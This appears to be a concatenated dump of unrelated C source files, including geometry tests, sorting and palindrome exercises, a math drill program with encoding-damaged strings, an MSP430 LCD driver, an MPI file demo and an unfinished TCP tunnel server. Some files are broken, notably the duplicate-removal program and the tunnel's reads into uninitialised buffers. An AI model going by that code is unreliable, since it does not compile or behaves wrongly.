return mathOBBContainOBB(one->obb, &two_obb);
}
case GEOMETRY_BODY_OBB:
{
return mathOBBContainOBB(one->obb, two->obb);
}
case GEOMETRY_BODY_SPHERE:
{
return mathOBBContainSphere(one->obb, two->sphere->o, two->sphere->radius);
}
}
}
else if (GEOMETRY_BODY_SPHERE == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathSphereHasPoint(one->sphere->o, one->sphere->radius, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSphereHasPoint(one->sphere->o, one->sphere->radius, two->segment->v[0]) &&
mathSphereHasPoint(one->sphere->o, one->sphere->radius, two->segment->v[1]);
}
case GEOMETRY_BODY_AABB:
{
float v[3];
mathAABBMinVertice(two->aabb->o, two->aabb->half, v);
if (!mathSphereHasPoint(one->sphere->o, one->sphere->radius, v)) {
return 0;
}
mathAABBMaxVertice(two->aabb->o, two->aabb->half, v);
return mathSphereHasPoint(one->sphere->o, one->sphere->radius, v);
}
case GEOMETRY_BODY_OBB:
{
float v[3];
mathOBBMinVertice(two->obb, v);
if (!mathSphereHasPoint(one->sphere->o, one->sphere->radius, v)) {
return 0;
}
mathOBBMaxVertice(two->obb, v);
return mathSphereHasPoint(one->sphere->o, one->sphere->radius, v);
}
case GEOMETRY_BODY_SPHERE:
{
return mathSphereContainSphere(one->sphere->o, one->sphere->radius, two->sphere->o, two->sphere->radius);
}
}
}
else if (GEOMETRY_BODY_PLANE == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathPlaneHasPoint(one->plane->v, one->plane->normal, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathPlaneHasPoint(one->plane->v, one->plane->normal, two->segment->v[0]) &&
mathPlaneHasPoint(one->plane->v, one->plane->normal, two->segment->v[1]);
}
case GEOMETRY_BODY_PLANE:
{
return mathPlaneIntersectPlane(one->plane->v, one->plane->normal, two->plane->v, two->plane->normal) == 2;
}
case GEOMETRY_BODY_POLYGEN:
{
const GeometryPolygen_t* polygen = two->polygen;
return mathPlaneIntersectPlane(one->plane->v, one->plane->normal, polygen->v[polygen->v_indices[0]], polygen->normal) == 2;
}
}
}
else if (GEOMETRY_BODY_SEGMENT == one->type) {
switch (two->type) {
case GEOMETRY_BODY_POINT:
{
return mathSegmentHasPoint(one->segment->v, two->point);
}
case GEOMETRY_BODY_SEGMENT:
{
return mathSegmentContainSegment(one->segment->v, two->segment->v);
}
}
}
else if (GEOMETRY_BODY_POINT == one->type) {
if (GEOMETRY_BODY_POINT == two->type) {
return mathVec3Equal(one->point, two->point);
}
}
return 0;
}
#ifdef __cplusplus
}
#endif
|
C | //2、周围的点应该都满足条件1:最外一圈也必须考虑。(测试点3、5)
//3、唯一的点:这个点的色素值只能在图像中出现一次。(测试点3、5)
#include <stdio.h>
#include <math.h>
int f(int a,int b,int A[a][b],int i,int j,int t)
{
int sum=0;
for(int k=i-1;k<=i+1;k++)
{
for(int l=j-1;l<=j+1;l++)
{
if(k==i&&l==j)
continue;
else if(abs(A[i][j]-A[k][l])<=t)
return 0;
else
sum++;
}
}
if(sum==8)
return 1;
else
return 0;
}
int main()
{
int m,n,t;
scanf("%d%d%d",&m,&n,&t);
int A[n][m];
for(int i=0;i<n;i++)
{
for(int j=0;j<m;j++)
{
scanf("%d",&A[i][j]);
}
}
int sum=0,a,b,c=1;
for(int i=1;i<n-1;i++)
{
for(int j=1;j<m-1;j++)
{
if(f(n,m,A,i,j,t)==1)
{
c=0;
//printf("%d %d\n",i,j);
for(int k=0;k<n;k++)
{
for(int l=0;l<m;l++)
{
if(k==i&&l==j)
continue;
else if(A[k][l]==A[i][j]){
c=1;
// printf("%d %d\n",k,l);
}
}
}
if(c==0)
{
a=i,b=j;
sum++;
//printf("%d %d %d\n",sum,i,j);
}
// printf("%d %d %d\n",sum,i,j);
}
}
}
if(sum>1)
puts("Not Unique");
else if(sum==0)
puts("Not Exist");
else
printf("(%d, %d): %d\n",b+1,a+1,A[a][b]);
return 0;
}
|
C | /* Figura 8.14: fig08_14.c
Uso de getchar y puts */
#include <stdio.h>
int main()
{
char c; /* variable para almacenar los caracteres introducidos por el usuario */
char enunciado[ 80 ]; /* crea un arreglo de caracteres */
int i = 0; /* inicializa el contador i */
/* indica al usuario que introduzca una lnea de texto */
puts( "Introduzca una linea de texto:" );
/* utiliza getchar para leer cada caracter */
while ( ( c = getchar() ) != '\n') {
enunciado[ i++ ] = c;
} /* fin de while */
enunciado[ i ] = '\0'; /* termina la cadena */
/* utiliza puts para desplegar el enunciado */
puts( "\nLa linea introducida es :" );
puts( enunciado );
return 0; /* indica terminacin exitosa */
} /* fin de main */
/**************************************************************************
* (C) Copyright 1992-2004 by Deitel & Associates, Inc. and *
* Pearson Education, Inc. All Rights Reserved. *
* *
* DISCLAIMER: The authors and publisher of this book have used their *
* best efforts in preparing the book. These efforts include the *
* development, research, and testing of the theories and programs *
* to determine their effectiveness. The authors and publisher make *
* no warranty of any kind, expressed or implied, with regard to these *
* programs or to the documentation contained in these books. The authors *
* and publisher shall not be liable in any event for incidental or *
* consequential damages in connection with, or arising out of, the *
* furnishing, performance, or use of these programs. *
*************************************************************************/
|
C | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* sort_stacks.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: cmariot <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/08/24 13:32:07 by cmariot #+# #+# */
/* Updated: 2021/09/17 14:10:18 by cmariot ### ########.fr */
/* */
/* ************************************************************************** */
#include "push_swap.h"
/* Bubble sort to get the median, aka the third value */
int get_median(int *a, int size)
{
int *stack_copy;
int median;
stack_copy = copy_stack(a, size);
bubble_sort(stack_copy, size);
median = stack_copy[2];
free(stack_copy);
return (median);
}
/* For three numbers : 10 instructions max */
void sort_five(int *a, int *b, t_stack *stacks)
{
int median;
median = get_median(a, stacks->a_size);
while (stacks->a_size != 3)
{
if (a[0] < median)
pb(a, b, stacks);
else
ra(a, stacks);
}
if (isnt_sort(a, stacks->a_size))
sort_three(a, stacks);
if (b[0] < b[1])
sb(b, stacks);
pa(a, b, stacks);
pa(a, b, stacks);
}
/* For three numbers : 2 instructions max
2 1 3
3 2 1
3 1 2
1 3 2
2 3 1 */
void sort_three(int *a, t_stack *stacks)
{
if (a[0] > a[1])
{
if (a[2] > a[0])
sa(a, stacks);
else if (a[2] > a[1])
ra(a, stacks);
else
{
sa(a, stacks);
rra(a, stacks);
}
}
else if (a[0] < a[1])
{
if (a[2] > a[0])
{
rra(a, stacks);
sa(a, stacks);
}
else
rra(a, stacks);
}
}
/* Choose the correct algorithm depending a_size */
void choose_algorithm(int *a, int *b, t_stack *stacks)
{
if (stacks->a_size == 2)
ra(a, stacks);
else if (stacks->a_size == 3)
sort_three(a, stacks);
else if (stacks->a_size == 5)
sort_five(a, b, stacks);
else
radix(a, b, stacks->a_size, stacks);
}
/* Create the stack size structure and chose algorithm */
void sort_stack(int *a, int *b, int stack_size)
{
t_stack *stacks;
stacks = malloc(sizeof(t_stack));
if (!stacks)
return ;
stacks->a_size = stack_size;
stacks->b_size = 0;
choose_algorithm(a, b, stacks);
free(stacks);
}
|
C | /*
Time complexity: O(n*2^n)
Space complexity: O(n^2)
Where 'n' is the length of the string
*/
// Function to check if string str[i..j] is a palindrome or not
bool isPalindrome(string str, int i, int j) {
while (i <= j) {
if (str[i++] != str[j--]) {
return false;
}
}
return true;
}
/* Recursive function to find the minimum cuts needed in a string
such that each partition is a palindrome */
int minPalinPartition(string str, int i, int j) {
/* Base case: if starting index i and ending index j are equal
or str[i..j] is already a palindrome. */
if (i == j || isPalindrome(str, i, j)) {
return 0;
}
// Stores minimum number cuts needed to partition str[i..j] intitally its infinite
int min = INT_MAX;
// Take the minimum over each possible position at which the String can be cut
for (int k = i; k <= j - 1; k++) {
// Recur to get minimum cuts required in str[i..k] and str[k+1..j]
int count = 1 + minPalinPartition(str, i, k) + minPalinPartition(str, k + 1, j);
// Update the min
if (count < min) {
min = count;
}
}
// Return the minimum cuts required
return min;
}
int palindromePartitioning(string str) {
int n = str.size();
return minPalinPartition(str, 0, n - 1);
}
|
C | #include<stdio.h>
#include<time.h>
#include<stdlib.h>
#include<math.h>
typedef struct problem
{
int num1;
int num2;
int num3;
}PROBLEM;
int score=0;
void MakeProblem(PROBLEM problems[]);
void PrintfProblem(PROBLEM problems[]);
void ModifyProblem(PROBLEM problems[]);
void RespondProblem(PROBLEM problems[]);
void GradeProblem(PROBLEM problems[]);
void CorrectProblem(PROBLEM problems[]);
void MyChallenge(void);
int main()
{
int menu;
PROBLEM problems[21];
FILE *fp;
do {
printf("**********ѧҵ**********\n"
"1.Զҵ\n"
"2.ҵ\n"
"3.ѧ\n"
"4.ҵ\n"
"5.ҵ\n"
"6.ս\n"
"0.˳ϵͳ\n"
"ʾѡӦIJ\n");
scanf("%d",&menu);
switch (menu)
{
case 1:
MakeProblem(problems);
PrintfProblem(problems);
printf("ص˵!\n");
getchar();
getchar();
break ;
case 2:
ModifyProblem(problems);
printf("ϣص˵!\n");
getchar();
break ;
case 3:
getchar();
RespondProblem(problems);
printf("ϣص˵!\n");
getchar();
getchar();
break ;
case 4:
GradeProblem(problems);
printf("ص˵!\n");
getchar();
getchar();
break ;
case 5:
CorrectProblem(problems);
printf("ϣص˵!\n");
getchar();
getchar();
break ;
case 6:
MyChallenge();
printf("ص˵!\n");
getchar();
getchar();
break ;
case 0:
exit(0);
}
}while(1);
return 0;
}
void MakeProblem(PROBLEM problems[])
{
int i;
srand(time(NULL));
for(i=1;i<=20;i++)
{
problems[i].num1=rand()%19+1;
problems[i].num2=(rand()%19+1)*pow(-1,rand()%2);
}
}
void PrintfProblem(PROBLEM problems[])
{
int i=1,n=1;
for(i=1;i<=20;i++)
{
if(problems[i].num2>0)
printf("%d:%d+%d= \n",n,problems[i].num1,problems[i].num2);
else
printf("%d:%d%d= \n",n,problems[i].num1,problems[i].num2);
n++;
}
}
void ModifyProblem(PROBLEM problems[])
{
int i,n,flag=0; //flagΪȷĿ
for(i=1;i<=20;i++)
{
if(problems[i].num2>=0)
{
flag++;
}
else
{
if(problems[i].num1+problems[i].num2>=0) flag++;
}
}
printf("%d\n",20-flag);
while(flag!=20)
{
printf(":");
scanf("%d",&n);
printf("ȷ:");
scanf("%d%d",&problems[n].num1,&problems[n].num2);
printf(":%d\n",problems[n].num1+problems[n].num2);
flag++;
printf("%d\n",20-flag);
}
}
void RespondProblem(PROBLEM problems[])
{
int i;
FILE *fp;
for(i=1;i<=20;i++)
{
if(problems[i].num2>0) printf("%d:%d+%d=",i,problems[i].num1,problems[i].num2);
else printf("%d:%d%d=",i,problems[i].num1,problems[i].num2);
scanf(" %d",&problems[i].num3);
}
for(i=1;i<=20;i++)
{
if(problems[i].num2>=0)
{
printf("%d:%d+%d=%d\n",i,problems[i].num1,problems[i].num2,problems[i].num3);
}
else
{
printf("%d:%d%d=%d\n",i,problems[i].num1,problems[i].num2,problems[i].num3);
}
}
if((fp=fopen("C:\\Users\\Mr.XU\\Desktop\\data.txt","w"))==NULL)
{
printf("Failure to open data.txt!\n");
exit(0);
}
for(i=1;i<=20;i++)
{
if(problems[i].num2>=0) fprintf(fp,"%d+%d=%d\n",problems[i].num1,problems[i].num2,problems[i].num3);
else fprintf(fp,"%d%d=%d\n",problems[i].num1,problems[i].num2,problems[i].num3);
}
fclose(fp);
}
void GradeProblem(PROBLEM problems[])
{
int i;
for(i=1;i<=20;i++)
{
if(problems[i].num2>=0)
{
printf("%d+%d=%d",problems[i].num1,problems[i].num2,problems[i].num3);
}
else
printf("%d%d=%d",problems[i].num1,problems[i].num2,problems[i].num3);
if(problems[i].num1+problems[i].num2==problems[i].num3)
{
printf(" Yes\n");
score=score+5;
}
else
printf(" No\n");
}
printf("score=%d\n",score);
}
void CorrectProblem(PROBLEM problems[])
{
int i;
if(score==100)
{
printf("ϲ㣬ȫ!\n");
}
else
{
for(i=1;i<=20;i++)
{
if(problems[i].num1+problems[i].num2!=problems[i].num3)
{
do{
if(problems[i].num2>=0)
{
printf("%d+%d=",problems[i].num1,problems[i].num2);
scanf("%d",&problems[i].num3);
}
else
{
printf("%d%d=",problems[i].num1,problems[i].num2);
scanf("%d",&problems[i].num3);
}
}while(problems[i].num1+problems[i].num2!=problems[i].num3);
}
}
}
printf("ϲ㣬ȫ!\n");
}
void MyChallenge(void)
{
int a,b,c,d;
char m,n;
srand(time(NULL));
a=rand()%19+1;
b=rand()%19+1;
c=rand()%19+1;
printf("%d",a);
if(b>0) printf("+%d",b);
else printf("%d",b);
if(c>0) printf("+%d=",c);
else printf("%d=",c);
scanf("%d",&d);
if(a+b+c==d) printf("ϲ㣬!******\n");
else printf("źˣ!\n");
}
|
C | #include<stdio.h>
int main()
{
int weight,cost,number,totalweight,totalcost;
printf("\n enter weight:");
scanf("%d",&weight);
printf("\n enter cost:");
scanf("%d",&cost);
printf("\n enter number:");
scanf("%d",&number);
totalweight = (weight*number);
totalcost = (cost*number);
printf("%d,%d",totalweight,totalcost);
return 0;
}
|
C | /*******************************************************************************
TscrnExcelڶԽTscrnExcelеĽӿʵ
*******************************************************************************/
#include "TExcel_Scrn.h"
#include "TExcel.h"
//------------------------------õͷʵ----------------------------------
const char* TExcel_Scrn_pGetHeader(const struct _TScrnExcelData *pExceData)
{
return TExcel_pGetHeader((struct _TExcel *)pExceData->pData);
}
//---------------------------õʵ----------------------------------
unsigned short TExcel_Scrn_GetItemCount(const struct _TScrnExcelData *pExceData)
{
return TExcel_GetLineCount((struct _TExcel *)pExceData->pData);
}
//--------------------------------õʵ--------------------------------
//NULLʾ
const char* TExcel_Scrn_pGetLine(const struct _TScrnExcelData *pExceData,
unsigned short Line) //ָ
{
return TExcel_pGetLine((struct _TExcel *)pExceData->pData, Line);
}
//----------------------------------ʵ---------------------------------
//Ƿ(ݸʱԶ0ǰδ)
signed char TExcel_Scrn_UpdateData(const struct _TScrnExcelData *pExceData,
unsigned short StartLine, //ʼ
unsigned short Count) //
{
return TExcel_UpdateData((struct _TExcel *)pExceData->pData,
StartLine, Count);
}
//--------------------------------ָתΪ--------------------------------
unsigned short TExcel_Scrn_LineToAryId(const struct _TScrnExcelData *pExceData,
unsigned short Line) //ָ
{
return TExcel_LineToAryId((struct _TExcel *)pExceData->pData, Line);
}
//--------------------------------ָIDתΪ----------------------------
//0xffffڱҳδҵ(Ժִ), ҵ
unsigned short TExcel_Scrn_AryIdToLine(const struct _TScrnExcelData *pExceData,
unsigned short AryId)
{
return TExcel_AryIdToLine((struct _TExcel *)pExceData->pData, AryId);
}
|
C | #include <iostream>
#include"../singleLink.h"
using namespace std;
/*
y有两个循环单链表,链表头指针分别为h1和h2.
编写一个函数将h2连接到h1之后,并保持循环链表形式
*/
void merge_circle(SingleLink<int> *&link_a, SingleLink<int> *&link_b) {
Node<int> *head_a = link_a->head;
Node<int> *head_b = link_b->head;
while(head_a->next != link_a->head) {
head_a = head_a->next;
}
while (head_b->next != link_b->head) {
head_b = head_b->next;
}
head_a->next = link_b->head;
head_b->next = link_a->head;
}
void main()
{
} |
C | #include "pilha.h"
struct pilha {
struct no * topo;
};
Pilha * constroi_pilha(){
Pilha * p = (Pilha *)malloc(sizeof(Pilha));
if(p){
p->topo = NULL;
}
return p;
}
int pilha_vazia (Pilha * p){
return !p->topo;
}
int push(int i, Pilha *p){
struct no *novo = constroi_no(i);
if(novo){
if(!pilha_vazia(p)){
novo-> prox = p->topo;
}
p->topo = novo;
return 1;
}
return 0;
}
void mostra_pilha(Pilha *p){
struct no *aux;
if(pilha_vazia(p))
printf("\nLista vazia.");
else{
aux = p->topo;
while(aux != NULL){//vai ate o final da lista
printf("%d ", aux->info);
aux = aux->prox;
}
}
printf("\n");
}
int tamanho(Pilha *p){
struct no *aux;
int cont = 0;
aux = p->topo;
while(aux){
cont ++;
aux =aux->prox;
}
return cont;
}
int consulta_topo(Pilha *p){
if(pilha_vazia(p))
return -999;
return p->topo->info;
}
int pop(int *i, Pilha *p){
struct no *aux;
if(pilha_vazia(p))
return 0;
aux = p->topo;//endereço do primeiro elemento da lista
*i=aux->info;
p->topo = p->topo->prox;
free(aux);
return 1;
}
|
C | /*#include <stdio.h>
double min(double x, double y);
int main(void)
{
double a, b;
printf("enter two number to compare:");
scanf("%lf %lf", &a, &b);
printf("lower is %lf.\n", min(a, b));
return 0;
}
double min(double x, double y)
{
return (x < y ? x : y);
}
*/
|
C | #include "msp430fr6989.h"
const unsigned char lcd_num[10] = {
0xFC, // 0
0x60, // 1
0xDB, // 2
0xF3, // 3
0x67, // 4
0xB7, // 5
0xBF, // 6
0xE0, // 7
0xFF, // 8
0xF7, // 9
};
const unsigned char lcd_small_num[10] = {
0xCF, // 0
0x06, // 1
0xAD, // 2
0x2F, // 3
0x66, // 4
0x6B, // 5
0xEB, // 6
0x0E, // 7
0xEF, // 8
0x6F, // 9
};
void init_LCD(void)
{
// LCD_C
#if 0 // all segments enable for the LCD
LCDCPCTL0 = 0xffff; // Enable LCD S0-S15
LCDCPCTL1 = 0xfc3f; // Enable LCD S16-21, S26-S31
LCDCPCTL2 = 0x0fff; // Enable LCD S32-43
#endif
#if 1 // only the segments for small digits are enabled
LCDCPCTL0 = 0x0000;
LCDCPCTL1 = 0xC000;
LCDCPCTL2 = 0x003F;
#endif
LCDCMEMCTL = LCDCLRM; // Clear LCD memory
LCDCVCTL = VLCD_1 + LCDCPEN; // Use charge pump
LCDCCPCTL = LCDCPCLKSYNC; // Synchronize charge pump with internal clock
// flcd = 32768/((1+1)*2^4) = 1024
// flcd = 2 * MUX * Frame, flcd = 1000, frame = 128fps
LCDCCTL0 = LCDDIV_1 + LCDPRE_4 + LCD4MUX + LCDLP + LCDON; // 4 MUX, Low power waveform, use ACLK, turn on LCD
}
void lcd_display_num(unsigned int num, unsigned char small)
{
unsigned char thousand = 0, hundred = 0, ten = 0;
const unsigned char *disp_num;
volatile unsigned char *disp_mem_thousand, *disp_mem_hundred, *disp_mem_ten, *disp_mem_num;
if (small)
{
disp_num = lcd_small_num;
disp_mem_thousand = &LCDM19;
disp_mem_hundred = &LCDM18;
disp_mem_ten = &LCDM17;
disp_mem_num = &LCDM16;
}
else
{
disp_num = lcd_num;
disp_mem_thousand = &LCDM5;
disp_mem_hundred = &LCDM7;
disp_mem_ten = &LCDM9;
disp_mem_num = &LCDM11;
}
while (num >= 1000)
{
num -= 1000;
thousand++;
}
while (num >= 100)
{
num -= 100;
hundred++;
}
while (num >= 10)
{
num -= 10;
ten++;
}
*disp_mem_num = disp_num[num];
if (ten || hundred || thousand) *disp_mem_ten = disp_num[ten];
else *disp_mem_ten = 0x00;
if (hundred || thousand) *disp_mem_hundred = disp_num[hundred];
else *disp_mem_hundred = 0x00;
if (thousand) *disp_mem_thousand = disp_num[thousand];
else *disp_mem_thousand = 0x00;
}
|
C | #define Graph Digraph
/* Recebe um grafo conexo G com custos arbitrrios nas arestas e calcula uma MST de G. A funo armazena a MST no vetor parent, tratando-a como uma rvore radicada com raiz 0. /
/ O grafo G e os custos so representados por listas de adjacncia. A funo supe que a constante INFINITO maior que o custo de qualquer aresta. Supe tambm que o grafo tem no mximo maxV vrtices. O cdigo uma verso melhorada do Programa 20.3 de Sedgewick. */
void GRAPHmstP1( Graph G, Vertex parent[])
{
Vertex v0, w, frj[maxV]; link a;
double price[maxV], c;
for (w = 0; w < G->V; w++)
parent[w] = -1, price[w] = INFINITO;
v0 = 0;
parent[v0] = v0;
for (a = G->adj[v0]; a != NULL; a = a->next) {
price[a->w] = a->cost;
frj[a->w] = v0;
}
while (1) {
double minprice = INFINITO;
for (w = 0; w < G->V; w++)
if (parent[w] == -1 && minprice > price[w])
minprice = price[v0=w];
if (minprice == INFINITO) break;
parent[v0] = frj[v0];
for (a = G->adj[v0]; a != NULL; a = a->next) {
w = a->w, c = a->cost;
if (parent[w] == -1 && price[w] > c) {
price[w] = c;
frj[w] = v0;
}
}
}
}
|
C | //tree stucture definition
struct tree_node{
char string[STR_LEN];
long int size;
char date[DAT_LEN];
struct tree_node* left;
struct tree_node* right;
};
typedef struct tree_node tNode;
|
C | /*!
* @file main.c
* @brief H-Bridge 13 Click example
*
* # Description
* This example demonstrates the use of the H-Bridge 13 click board by
* driving the motor connected to OUT A and OUT B, in both directions with braking and freewheeling.
*
* The demo application is composed of two sections :
*
* ## Application Init
* Initializes the driver and performs the click default configuration.
*
* ## Application Task
* This example is driving a motor in both directions with changes in speed and
* motor braking and freewheeling in between.
*
* @author Stefan Ilic
*
*/
#include "board.h"
#include "log.h"
#include "hbridge13.h"
static hbridge13_t hbridge13;
static log_t logger;
void application_init ( void )
{
log_cfg_t log_cfg; /**< Logger config object. */
hbridge13_cfg_t hbridge13_cfg; /**< Click config object. */
/**
* Logger initialization.
* Default baud rate: 115200
* Default log level: LOG_LEVEL_DEBUG
* @note If USB_UART_RX and USB_UART_TX
* are defined as HAL_PIN_NC, you will
* need to define them manually for log to work.
* See @b LOG_MAP_USB_UART macro definition for detailed explanation.
*/
LOG_MAP_USB_UART( log_cfg );
log_init( &logger, &log_cfg );
log_info( &logger, " Application Init " );
// Click initialization.
hbridge13_cfg_setup( &hbridge13_cfg );
HBRIDGE13_MAP_MIKROBUS( hbridge13_cfg, MIKROBUS_1 );
if ( I2C_MASTER_ERROR == hbridge13_init( &hbridge13, &hbridge13_cfg ) )
{
log_error( &logger, " Communication init." );
for ( ; ; );
}
if ( HBRIDGE13_ERROR == hbridge13_default_cfg ( &hbridge13 ) )
{
log_error( &logger, " Default configuration." );
for ( ; ; );
}
log_info( &logger, " Application Task " );
}
void application_task ( void )
{
for( uint8_t n_cnt = 0; n_cnt <= 100; n_cnt += 10 )
{
log_printf( &logger, " Motor in forward mode with speed of %d %% \r\n", ( uint16_t ) n_cnt );
hbridge13_set_direction( &hbridge13, HBRIDGE13_DIR_FORWARD, n_cnt );
Delay_ms( 1000 );
}
log_printf( &logger, " Motor brake is on \r\n" );
hbridge13_set_brake( &hbridge13 );
Delay_ms( 5000 );
for( uint8_t n_cnt = 0; n_cnt <= 100; n_cnt += 10 )
{
log_printf( &logger, " Motor in reverse with speed of %d %% \r\n", ( uint16_t ) n_cnt );
hbridge13_set_direction( &hbridge13, HBRIDGE13_DIR_REVERSE, n_cnt );
Delay_ms( 1000 );
}
log_printf( &logger, " Motor is coasting \r\n" );
hbridge13_set_coast( &hbridge13 );
Delay_ms( 5000 );
}
void main ( void )
{
application_init( );
for ( ; ; )
{
application_task( );
}
}
// ------------------------------------------------------------------------ END
|
C | /*!
* @file
* @brief
*/
#include <stdint.h>
#include <stddef.h>
#include "tiny_stack_allocator.h"
#include "tiny_utils.h"
#define max(a, b) ((a) > (b) ? a : b)
#define define_worker(_size) \
static void worker_##_size(tiny_stack_allocator_callback_t callback, void* context) \
{ \
max_align_t data[max(_size, sizeof(max_align_t)) / sizeof(max_align_t)]; \
callback(context, data); \
} \
typedef int dummy##_size
define_worker(8);
define_worker(16);
define_worker(32);
define_worker(64);
define_worker(128);
define_worker(256);
typedef struct
{
size_t size;
void (*worker)(tiny_stack_allocator_callback_t callback, void* context);
} worker_t;
static const worker_t workers[] = {
{8, worker_8},
{16, worker_16},
{32, worker_32},
{64, worker_64},
{128, worker_128},
{256, worker_256},
};
void tiny_stack_allocator_allocate_aligned(
size_t size,
void* context,
tiny_stack_allocator_callback_t callback)
{
for(uint8_t i = 0; i < element_count(workers); i++) {
if(size <= workers[i].size) {
workers[i].worker(callback, context);
return;
}
}
}
|
C | #include<stdio.h>
void readFile(char *fileName, int g[], int v[], int *pW, int *pN)
{
FILE *f=fopen(fileName, "rt");
if (f!=NULL)
{
int i;
fscanf(f,"%d%d",pW,pN); // W N
for(i=0;i<= (*pN)-1;i++)
fscanf(f,"%d%d",&g[i],&v[i]); // Trong luong Gia tri
fclose(f);
}
}
int main()
{
/* W: trong luong ba lo
N: so luong vat
gi: trong luong vat thu i
vi: gia tri vat thu i
*/
int W, N,i;
int v[100],g[100];
readFile("balo.inp",g,v,&W,&N);
printf("%d %d\n",W,N);
//Test for reading file
for(i=0;i<=N-1;i++)
printf("%d %d\n",g[i],v[i]);
return 0;
}
|
C | /*
* Program to demonstarte MPI Paralle I/O
* create, write and read parallel file
* Hitender Prakash
*
*/
#include <stdio.h>
#include <mpi.h>
int main(int argc, char **argv){
int i;
int rank;
int size;
int offset;
int nints;
int N=20;
MPI_File fhw;
MPI_Status status;
MPI_Init(&argc, &argv);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &size);
int buf[N];
for(i=0;i<N;i++){
buf[i]=rank*N+i;
}
MPI_File_open(MPI_COMM_WORLD, "datafile", MPI_MODE_CREATE|MPI_MODE_WRONLY,MPI_INFO_NULL,&fhw);
//each process write the "buf" array to the file called "datafile"
offset=rank*N*sizeof(int);
MPI_File_write_at(fhw,offset,buf,N,MPI_INT,&status);
//close the file
MPI_File_close(&fhw);
//reopen the file
MPI_File_open(MPI_COMM_WORLD, "datafile", MPI_MODE_RDONLY,MPI_INFO_NULL,&fhw);
//read the integer array back and print first four elements
MPI_File_read_at(fhw,offset,buf,N,MPI_INT,&status);
printf("Process %d read %d %d %d %d\n",rank,buf[0],buf[1],buf[2],buf[3]);
MPI_File_close(&fhw);
MPI_Finalize();
return 0;
}
|
C | #include<stdio.h>
#include<string.h>
#define MAX_SIZE 100
void removeDuplicates(char * string);
void removeAll(char *string,const char toRemove,int index);
int main()
{
char string[MAX_SIZE];
printf("Enter any String :");
gets(string)
printf("String before removing duplicates: %s\n",string);
removeDuplicates(string);
printf("string after removing duplicates: %s\n",string);
return 0;
}
void removeDupilicates(char *string)
{
int i=0;
while(string[i]!='\0')
{
removeAll(string,string[i],i);
i++;
}
}
void removeAll(char *string,const char toRemove,int index)
{
int i,j;
i=index+1;
while(string[i]!='\0')
{
if(string[i]!=toRemove)
{
j=i;
while(string[j]!='\0')
{
string[j]==string[j+1];
}
}
i++;
}
|
C | #include <netinet/in.h>
#include <time.h>
#include <strings.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <stdlib.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#define MAXLINE 4096 /* max text line length */
#define LISTENQ 1024 /* 2nd argument to listen() */
#define DAYTIME_PORT 3333
#define DEBUG 0
int isValidIpAddress(char*);
int hostname_to_ip(int, char*,char*,char*,char*);
int ip_to_hostname(int, char*,char*,char*,char*);
int main(int argc, char **argv)
{
int listenfd, connfd, forwardfd = 0;
struct sockaddr_in tunneladdr, clientaddr;
socklen_t addr_size;
//pid_t pid;
char buff1[MAXLINE] ;
char buff2[MAXLINE] ;
char recvline[MAXLINE + 1];
char ip[MAXLINE];
char name[MAXLINE];
if(argc != 2)
{
printf("Usage:%s<portNumber>", argv[0]);
return -1;
}
char *port_num = argv[1];
listenfd = socket(AF_INET, SOCK_STREAM, 0);
bzero(&tunneladdr, sizeof(tunneladdr));
tunneladdr.sin_family = AF_INET;
tunneladdr.sin_addr.s_addr = htonl(INADDR_ANY);
tunneladdr.sin_port = htons(atoi(port_num)); /* daytime server */
bind(listenfd, (struct sockaddr *) &tunneladdr, sizeof(tunneladdr));
listen(listenfd, LISTENQ);
for ( ; ; ) {
addr_size = sizeof(clientaddr);
connfd = accept(listenfd, (struct sockaddr *)&clientaddr, &addr_size);
printf("Reading server name\n");
if(read (connfd, buff1, strlen(buff1))==0)
{
printf("server name: %s\n", buff1);
}
printf("Reading port number\n");
read (connfd,buff2,strlen(buff2));
printf("server port: %s\n", buff2);
/*if((pid=fork())<0)
{
printf("Fork Failed\n");
exit(1);
}
if(pid==0) /*Child*
{
printf("child id: %d\n", getpid());*/
/*host name input case*/
if(!isValidIpAddress(buff1))
{
hostname_to_ip(forwardfd, buff1, buff2, ip, recvline);
printf("Via Tunnel:%s\nIP Address:%s\nPort Number:%s\n",buff1,ip, buff2);
if (fputs(recvline, stdout) == EOF) {
printf("fputs error\n");
}
write(connfd, recvline, strlen(recvline)+1);
}
else
{
ip_to_hostname(forwardfd, buff1, buff2, name, recvline);
}
close(forwardfd);
close(connfd);
}
exit(0);
}
/******************************************************************************************
* check if the input is an ip address or not
*
*******************************************************************************************/
int isValidIpAddress(char *server_name)
{
struct sockaddr_in servaddr;
int result = inet_pton(AF_INET,server_name,&(servaddr.sin_addr));
printf("%d\n", result);
return result !=0;
}
/******************************************************************************************
* convert host name into ip address
*
*******************************************************************************************/
int hostname_to_ip(int connfd, char *server_name, char *port_num, char *ip, char *recvline)
{
int sockfd, n;
struct sockaddr_in *servaddr;
struct addrinfo hints, *res, *p;
bzero(&servaddr, sizeof(servaddr));
//if ( (sockfd = socket(AF_INET,SOCK_STREAM,0))<0){
memset(&hints,0,sizeof hints);
hints.ai_family = AF_INET;
hints.ai_socktype = SOCK_STREAM;
//convert hostname into IP
getaddrinfo(server_name,port_num, &hints, &res);
//if (inet_pton(AF_INET,argv[1], &servaddr.sin_addr) <= 0) {
for(p= res;p!=NULL;p=p->ai_next)
{
servaddr = (struct sockaddr_in *)p->ai_addr;
strcpy(ip, inet_ntoa(servaddr->sin_addr));
}
if( (sockfd = socket(res->ai_family, res->ai_socktype,res->ai_protocol)) < 0) {
printf("socket error\n");
exit(1);
}
connfd=connect(sockfd, res->ai_addr, res->ai_addrlen);
if(connfd<0)
{
printf("connect error\n");
exit(1);
}
while ( (n = read(sockfd, recvline, MAXLINE)) > 0) {
recvline[n] = 0; /* null terminate */
}
if (n < 0) {
printf("read error\n");
exit(1);
}
freeaddrinfo(res);
return 0;
}
/********************************************************************************************************
*convert ip address into host name
*
********************************************************************************************************/
